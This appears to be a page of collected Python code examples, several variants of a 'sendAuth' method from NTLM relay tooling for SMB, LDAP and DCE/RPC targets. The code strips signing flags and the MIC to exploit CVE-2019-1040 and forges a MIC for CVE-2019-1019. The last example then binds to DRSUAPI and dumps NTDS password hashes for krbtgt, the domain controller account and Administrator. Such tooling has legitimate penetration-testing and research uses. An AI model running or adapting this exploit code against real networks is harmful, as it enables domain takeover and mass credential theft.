def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            authMessage = NTLMAuthChallengeResponse()
            authMessage.fromString(authenticateMessageBlob)
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
        #    # We need to unwrap SPNEGO and get the NTLMSSP
        #    respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
        #    authData = respToken['ResponseToken']
        #else:
        authData = authenticateMessageBlob

        signingKey = None
        if self.serverConfig.remove_target:
            # Trying to exploit CVE-2019-1019
            # Discovery and Implementation by @simakov_marina and @YaronZi
            # respToken2 = SPNEGO_NegTokenResp(authData)
            authenticateMessageBlob = authData

            errorCode, signingKey = self.netlogonSessionKey(authData)

            # Recalculate MIC
            res = NTLMAuthChallengeResponse()
            res.fromString(authenticateMessageBlob)

            newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
            relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
            #authData = respToken2.getData()

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)

        if signingKey:
            logging.info("Enabling session signing")
            self.session._SMBConnection.set_session_key(signingKey)

        return token, errorCode
示例#2
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            token = respToken2['ResponseToken']
        else:
            token = authenticateMessageBlob

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(token)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            token = authMessage.getData()

        with self.session.connection_lock:
            self.authenticateMessageBlob = token
            request = bind.bind_operation(self.session.version,
                                          'SICILY_RESPONSE_NTLM', self, None)
            response = self.session.post_send_single_response(
                self.session.send('bindRequest', request, None))
            result = response[0]
        self.session.sasl_in_progress = False

        if result['result'] == RESULT_SUCCESS:
            self.session.bound = True
            self.session.refresh_server_info()
            return None, STATUS_SUCCESS
        else:
            if result[
                    'result'] == RESULT_STRONGER_AUTH_REQUIRED and self.PLUGIN_NAME != 'LDAPS':
                raise LDAPRelayClientException(
                    'Server rejected authentication because LDAP signing is enabled. Try connecting with TLS enabled (specify target as ldaps://hostname )'
                )
        return None, STATUS_ACCESS_DENIED
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

        authMessage = NTLMAuthChallengeResponse()
        authMessage.fromString(authenticateMessageBlob)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if authMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
            authMessage['MIC'] = b''
            authMessage['MICLen'] = 0
            authMessage['Version'] = b''
            authMessage['VersionLen'] = 0
            authenticateMessageBlob = authMessage.getData()

        if unpack('B', authenticateMessageBlob[:1]
                  )[0] != SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            # We need to wrap the NTLMSSP into SPNEGO
            respToken2 = SPNEGO_NegTokenResp()
            respToken2['ResponseToken'] = authenticateMessageBlob
            authData = respToken2.getData()
        else:
            authData = authenticateMessageBlob

        if self.session.getDialect() == SMB_DIALECT:
            token, errorCode = self.sendAuthv1(authData, serverChallenge)
        else:
            token, errorCode = self.sendAuthv2(authData, serverChallenge)
        return token, errorCode
示例#4
0
    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            auth_data = respToken2['ResponseToken']
        else:
            auth_data = authenticateMessageBlob

        remoteOps = None
        try:
            signingkey = self.netlogonSessionKey(serverChallenge,
                                                 authenticateMessageBlob)
            # Something failed
            if signingkey == 0:
                return
            self.session.set_session_key(signingkey)
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(auth_data)

            # Recalc mic
            authenticateMessage['MIC'] = b'\x00' * 16
            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
            newmic = ntlm.hmac_md5(
                signingkey, self.negotiateMessage + self.challenge.getData() +
                authenticateMessage.getData())
            authenticateMessage['MIC'] = newmic
            self.session.sendBindType3(authenticateMessage.getData())

            # Now perform DRS bind
            # This code comes from secretsdump directly
            request = drsuapi.DRSBind()
            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
            drs = drsuapi.DRS_EXTENSIONS_INT()
            drs['cb'] = len(drs)  #- 4
            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
                             drsuapi.DRS_EXT_STRONG_ENCRYPTION
            drs['SiteObjGuid'] = drsuapi.NULLGUID
            drs['Pid'] = 0
            drs['dwReplEpoch'] = 0
            drs['dwFlagsExt'] = 0
            drs['ConfigObjGUID'] = drsuapi.NULLGUID
            # I'm uber potential (c) Ben
            drs['dwExtCaps'] = 0xffffffff
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(drs.getData())
            resp = self.session.request(request)

            # Initialize remoteoperations
            if self.serverConfig.smbuser != '':
                smbConnection = SMBConnection(self.target.netloc,
                                              self.target.netloc)
                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
                remoteOps = RemoteOperations(smbConnection, False)
            else:
                remoteOps = PatchedRemoteOperations(None, False)

            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
                len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
            drsExtensionsInt.fromString(ppextServer)

            if drsExtensionsInt['dwReplEpoch'] != 0:
                # Different epoch, we have to call DRSBind again
                LOG.debug(
                    "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again"
                    % drsExtensionsInt['dwReplEpoch'])
                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
                request['pextClient']['cb'] = len(drs)
                request['pextClient']['rgb'] = list(drs.getData())
                resp = self.session.request(request)

            remoteOps._RemoteOperations__hDrs = resp['phDrs']

            domainName = authenticateMessage['domain_name'].decode('utf-16le')
            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
            resp = drsuapi.hDRSDomainControllerInfo(
                self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
            # LOG.debug('DRSDomainControllerInfo() answer')
            # resp.dump()

            if resp['pmsgOut']['V2']['cItems'] > 0:
                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[
                    'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
            else:
                LOG.error("Couldn't get DC info for domain %s" % domainName)
                raise Exception('Fatal, aborting')
            remoteOps._RemoteOperations__drsr = self.session

            # Initialize NTDSHashes object
            if self.serverConfig.smbuser != '':
                # We can dump all :)
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=None,
                                printUserStatus=False)
                nh.dump()
            else:
                # Most important, krbtgt
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/krbtgt',
                                printUserStatus=False)
                nh.dump()
                # Also important, DC hash (to sync fully)
                av_pairs = authenticateMessage['ntlm'][44:]
                av_pairs = AV_PAIRS(av_pairs)
                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode(
                    'utf-16le')
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/' + serverName + '$',
                                printUserStatus=False)
                nh.dump()
                # Finally, builtin\Administrator providing it was not renamed
                try:
                    nh = NTDSHashes(None,
                                    None,
                                    isRemote=True,
                                    history=False,
                                    noLMHash=False,
                                    remoteOps=remoteOps,
                                    useVSSMethod=False,
                                    justNTLM=False,
                                    pwdLastSet=False,
                                    resumeSession=None,
                                    outputFileName='hashes',
                                    justUser=domainName + '/Administrator',
                                    printUserStatus=False)
                    nh.dump()
                except Exception:
                    LOG.error('Could not dump administrator (renamed?)')

            return None, STATUS_SUCCESS
        except Exception as e:
            traceback.print_exc()
        finally:
            if remoteOps is not None:
                remoteOps.finish()